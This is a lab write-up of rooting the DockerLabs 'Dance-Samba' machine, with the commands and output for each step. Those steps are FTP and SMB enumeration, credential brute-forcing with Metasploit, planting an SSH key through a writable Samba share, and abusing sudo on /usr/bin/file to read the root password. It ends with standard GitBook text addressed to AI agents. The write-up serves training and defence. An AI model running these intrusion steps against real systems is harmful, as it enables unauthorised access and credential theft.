> For the complete documentation index, see [llms.txt](https://yisus-offsec.gitbook.io/offensive-and-defensive-security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yisus-offsec.gitbook.io/offensive-and-defensive-security/documentation/offensive-security/writeups-labs/dance-samba-dockerlabs-writeup.md). # Dance-Samba (DockerLabs) - Writeup ### Executive Summary This machine was compromised through a combination of **information disclosure, weak credential management, insecure Samba share permissions, and unsafe sudo configuration**. The attack started with service discovery and quickly revealed an **anonymous FTP service** containing a note that hinted at a valid username-password relationship. SMB enumeration then confirmed the existence of the user **macarena** and a writable share with the same name. After validating the credentials, the writable Samba share was abused to plant an **SSH authorized key**, which granted stable shell access as the user **macarena**. During local enumeration, a hidden secret was found in a world-readable location and decoded to recover the user’s real password. That password allowed the attacker to use `sudo -l` successfully and discover that the user could execute `/usr/bin/file` as root. This privilege was then leveraged to reveal the root password stored in `/opt/password.txt`. Reusing that password with `su` led to full compromise of the machine. ## Target Information * **Target IP:** `172.17.0.2` * **Attacker machine:** Kali Linux * **Environment:** DockerLabs / Linux target running Samba, FTP, and SSH ## Cyber Kill Chain Mapping This attack can be aligned with the **Lockheed Martin Cyber Kill Chain** as follows: ### 1. Reconnaissance The attacker performed port scanning and service enumeration to identify exposed services and weak entry points. ### 2. Weaponization No malware or exploit payload was required. The “weaponization” stage here was the preparation of a valid authentication strategy using leaked hints and later the preparation of an SSH public key. ### 3. Delivery The delivery phase occurred when the attacker uploaded an `authorized_keys` file into the target user’s home directory through the writable SMB share. ### 4. Exploitation Exploitation consisted of abusing: * anonymous FTP access, * weak and guessable credentials, * writable SMB access to the user’s home directory, * and `sudo` misconfiguration involving `/usr/bin/file`. ### 5. Installation The attacker installed persistence by placing a trusted SSH public key into `~/.ssh/authorized_keys`. ### 6. Command and Control A direct SSH session served as the interactive access channel. ### 7. Actions on Objectives The attacker enumerated the system, recovered secrets, escalated privileges to root, and retrieved the final root flag. ## 1. Reconnaissance ### Command execution context All commands in this section were executed **from the Kali attacker machine**. The engagement began with a full TCP port scan using Nmap: ```bash sudo nmap -p- --open -sV -vvvv -n -Pn 172.17.0.2 -oG allPorts ``` #### Findings The scan revealed four open ports: * `21/tcp` – FTP (`vsftpd 3.0.5`) * `22/tcp` – SSH (`OpenSSH 9.6p1`) * `139/tcp` – SMB * `445/tcp` – SMB To validate and enrich the results, a second targeted scan was launched: ```bash sudo nmap -p21,22,139,445 -sV -sC 172.17.0.2 -oN targeted ``` #### Important observations * FTP allowed **anonymous login** * A file named `nota.txt` was exposed through FTP * SMB signing was enabled but **not required** * The host appeared to be a Linux-based Samba server This phase corresponds to the **Reconnaissance** stage in the Cyber Kill Chain, because the attacker was identifying the target’s exposed services and potential attack surface. ## 2. FTP Enumeration ### Command execution context The following commands were executed **from the Kali machine**, but once connected, the interactive commands were executed **inside the FTP client session**. The attacker connected to the FTP service: ```bash ftp 172.17.0.2 ``` Once inside the **FTP session**, the following commands were used: ```bash ls get nota.txt dir ``` After downloading the file, it was reviewed **from the Kali machine**: ```bash cat nota.txt ``` #### File content ``` I don't know what to do with Macarena, she's obsessed with donald. ``` #### Analysis This was a very important clue. It strongly suggested: * **macarena** as a possible username * **donald** as a likely password candidate This phase still falls under **Reconnaissance**, but it also begins to support **Weaponization**, because the attacker is collecting material needed to build a working access method. ## 3. SMB Enumeration ### Command execution context All commands in this section were executed **from the Kali attacker machine**. To enumerate Samba in depth, `enum4linux` was used: ```bash enum4linux -a 172.17.0.2 ``` #### Key findings The enumeration exposed: * User: `macarena` * Share: `macarena` * Workgroup: `WORKGROUP` * Weak password policy: * minimum password length: `5` * password complexity: disabled The shares were also manually listed using `smbclient`: ```bash smbclient -L 172.17.0.2 -N ``` #### Available shares * `print$` * `macarena` * `IPC$` #### Analysis At this point, the FTP note and SMB enumeration complemented each other: * FTP disclosed a clue pointing to `macarena` and `donald` * SMB confirmed that `macarena` was a legitimate account and had an associated share This stage fits both **Reconnaissance** and **Weaponization**, because the attacker now had the information necessary to test credential-based access. ## 4. Credential Validation over SMB ### Command execution context All commands in this section were executed **from the Kali attacker machine**. The attacker used Metasploit to validate the suspected SMB credentials. Inside **Metasploit**, the following module was selected: ```bash use auxiliary/scanner/smb/smb_login ``` Then the options were set: ```bash set RHOSTS 172.17.0.2 set PASS_FILE /usr/share/wordlists/rockyou.txt set SMBUSER macarena set THREADS 16 run ``` #### Successful result ``` Success: '.\macarena:donald' ``` The credentials were then verified using CrackMapExec: ```bash crackmapexec smb 172.17.0.2 -u macarena -p donald ``` And the shares were enumerated: ```bash crackmapexec smb 172.17.0.2 -u macarena -p donald --shares ``` #### Relevant permissions * `macarena` → `READ, WRITE` #### Analysis This was the first real access milestone. The attacker had valid user credentials and, more importantly, write access to the user’s Samba share. This stage maps to **Exploitation**, because the attacker successfully abused weak credentials to gain authenticated access. ## 5. Initial Access via Writable SMB Share ### Command execution context The connection to the share was initiated **from the Kali machine**, and the directory operations were performed **inside the smbclient interactive session**. The attacker connected to the share: ```bash smbclient //172.17.0.2/macarena -U macarena%donald ``` Once inside the **SMB client session**, the following command was used to inspect the share: ```bash dir ``` #### Observed contents The share clearly mapped to the user’s home directory: * `.bashrc` * `.profile` * `.bash_history` * `user.txt` Because the share was writable, it became possible to plant SSH access files directly into the user’s home. This is a classic case of **privilege boundary collapse through unsafe file-sharing permissions**. ## 6. Preparing SSH Access ### Command execution context The SSH key pair was generated **from the Kali attacker machine**.\ The upload operations were then performed **inside the smbclient session**. First, an SSH key pair was created on Kali: ```bash ssh-keygen -t ed25519 ``` Then the public key was copied into the current working directory: ```bash cp /home/kali/.ssh/id_ed25519.pub . ``` The file was renamed locally on Kali to match the expected SSH authorization filename: ```bash mv id_ed25519.pub authorized_keys ``` Next, inside the **smbclient session**, the attacker created the `.ssh` directory in the victim’s home: ```bash mkdir .ssh cd .ssh put authorized_keys dir ``` #### Analysis This was the critical transition from credential-based SMB access to stable shell access over SSH. This maps to: * **Delivery** – the public key was delivered onto the target * **Installation** – persistence was established via `authorized_keys` ## 7. SSH Login as macarena ### Command execution context This command was executed **from the Kali attacker machine**. The attacker then logged in through SSH using the private key: ```bash ssh -i /home/kali/.ssh/id_ed25519 macarena@172.17.0.2 ``` #### Result Authentication succeeded, and an interactive shell was obtained as: ```bash macarena@14fe9c6d0cff ``` #### Analysis At this stage the attacker had achieved a stable command channel, which corresponds to **Command and Control** in the Cyber Kill Chain, although in a lab context it is simply an interactive administrative shell. ## 8. Local Enumeration as macarena ### Command execution context All commands in this section were executed **from the SSH session as user `macarena`**. Once inside the host, the attacker enumerated the home directory and surrounding paths: ```bash ls -lha cd /home ll cd ftp ll cd ../secret ll cat hash ``` #### Interesting files discovered Inside `/home/secret`, the following file was found: ```bash hash ``` Its content was: ``` MMZVM522LBFHUWSXJYYWG3KWO5MVQTT2MQZDS6K2IE6T2=== ``` This value was then decoded using **CyberChef** outside the target environment, yielding: ``` supersecurepassword ``` #### Analysis This represents weak secret handling. The value was not securely protected; it was only encoded in a reversible format. Once decoded, it provided a better credential for the same user. This stage maps to **Actions on Objectives**, because the attacker was now harvesting sensitive local information to progress toward privilege escalation. ## 9. sudo Privilege Enumeration ### Command execution context The following commands were executed **from the SSH session as user `macarena`**. The attacker first attempted: ```bash sudo -l ``` Using the password `donald` failed. After recovering `supersecurepassword`, the command was executed again: ```bash sudo -l ``` This time it succeeded and returned: ``` User macarena may run the following commands on 14fe9c6d0cff: (ALL : ALL) /usr/bin/file ``` #### Analysis This was the turning point for privilege escalation. The user was not allowed to run a shell directly as root, but they were allowed to run `/usr/bin/file` as root, which could still be abused for indirect information disclosure. This phase is part of **Exploitation**, now in the post-compromise privilege escalation stage. ## 10. Recovering the Root Credential ### Command execution context The following commands were executed **from the SSH session as user `macarena`**. During file hunting, the attacker noticed a suspicious path: ``` /opt/password.txt ``` A direct read failed: ```bash cat /opt/password.txt ``` Output: ``` Permission denied ``` However, the attacker used the allowed sudo command to inspect the file indirectly: ```bash sudo -u root /usr/bin/file -f /opt/password.txt ``` #### Output ``` root:rooteable2 ``` #### Analysis This revealed the root credentials. The `file` binary was effectively used as an information disclosure primitive under sudo. This is a textbook case of unsafe privilege delegation: even if a binary does not look dangerous at first glance, allowing it through `sudoers` can create unintended privilege escalation paths. This stage maps directly to **Exploitation** and **Actions on Objectives**. ## 11. Root Access ### Command execution context The following commands were executed **from the SSH session after switching from `macarena` to `root`**. The attacker used the recovered password with `su`: ``` su ``` Password entered: ``` rooteable2 ``` Access was granted, and the attacker became root: ``` root@14fe9c6d0cff ``` Then the root directory was enumerated: ```bash cd ls cat root.txt cat true_root.txt ``` #### Final result The actual root flag was stored in: ``` true_root.txt ``` This is the final **Actions on Objectives** stage in the Cyber Kill Chain. ## Full Attack Chain Summary ### Phase 1 – Reconnaissance From Kali, Nmap scanning identified FTP, SSH, and SMB.\ Anonymous FTP revealed a note containing a likely username-password relationship. ### Phase 2 – Weaponization The attacker correlated the FTP clue with SMB enumeration and prepared a credential attack path using `macarena` and `donald`. Later, an SSH key pair was generated on Kali for persistence. ### Phase 3 – Delivery The public key was uploaded into the victim’s home directory through the writable Samba share. ### Phase 4 – Exploitation The attacker: * authenticated to SMB with valid credentials, * abused the writable share to gain SSH access, * used leaked encoded secrets, * and abused `sudo` permissions on `/usr/bin/file`. ### Phase 5 – Installation Persistence was established by creating `~/.ssh/authorized_keys`. ### Phase 6 – Command and Control SSH provided stable interactive remote access. ### Phase 7 – Actions on Objectives The attacker recovered the user flag, escalated privileges, and obtained the real root flag. ## Security Weaknesses Identified ### 1. Anonymous FTP access The FTP service exposed internal information without authentication. ### 2. Credential hint disclosure The note strongly hinted at valid credentials. ### 3. Weak password policy The password policy was minimal and lacked complexity requirements. ### 4. Writable SMB home share The `macarena` share mapped to the user’s home directory and allowed writes, enabling SSH key injection. ### 5. Insecure secret storage A sensitive password was stored in a reversible encoded format. ### 6. Dangerous sudo configuration The user was allowed to run `/usr/bin/file` as root. ### 7. Root password exposed in a local file The root password was stored in `/opt/password.txt`, which should never happen on a properly secured system. ## Lessons Learned This machine is an excellent example of how **small weaknesses across multiple services can chain into full compromise**. No single step was especially advanced, but together they formed a complete compromise path: * exposed service, * leaked clue, * weak credentials, * writable home share, * SSH persistence, * poor secret management, * and risky sudo delegation. It demonstrates that attackers do not always need memory corruption or complex exploits. In many cases, **misconfigurations and credential abuse are enough**. ## Conclusion Dance-Samba is a practical lab that highlights how poor service exposure and weak operational security can lead to total compromise. The machine was rooted by combining information leakage through FTP, authentication abuse against SMB, SSH persistence through a writable home share, and privilege escalation through misconfigured sudo permissions and exposed secrets. From a Cyber Kill Chain perspective, it clearly illustrates how an attacker can move from **reconnaissance** to **full objective completion** using only legitimate services and misconfigurations. It is a very good machine for practicing: * service enumeration, * credential correlation, * Samba abuse, * SSH key persistence, * local enumeration, * and Linux privilege escalation. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://yisus-offsec.gitbook.io/offensive-and-defensive-security/documentation/offensive-security/writeups-labs/dance-samba-dockerlabs-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.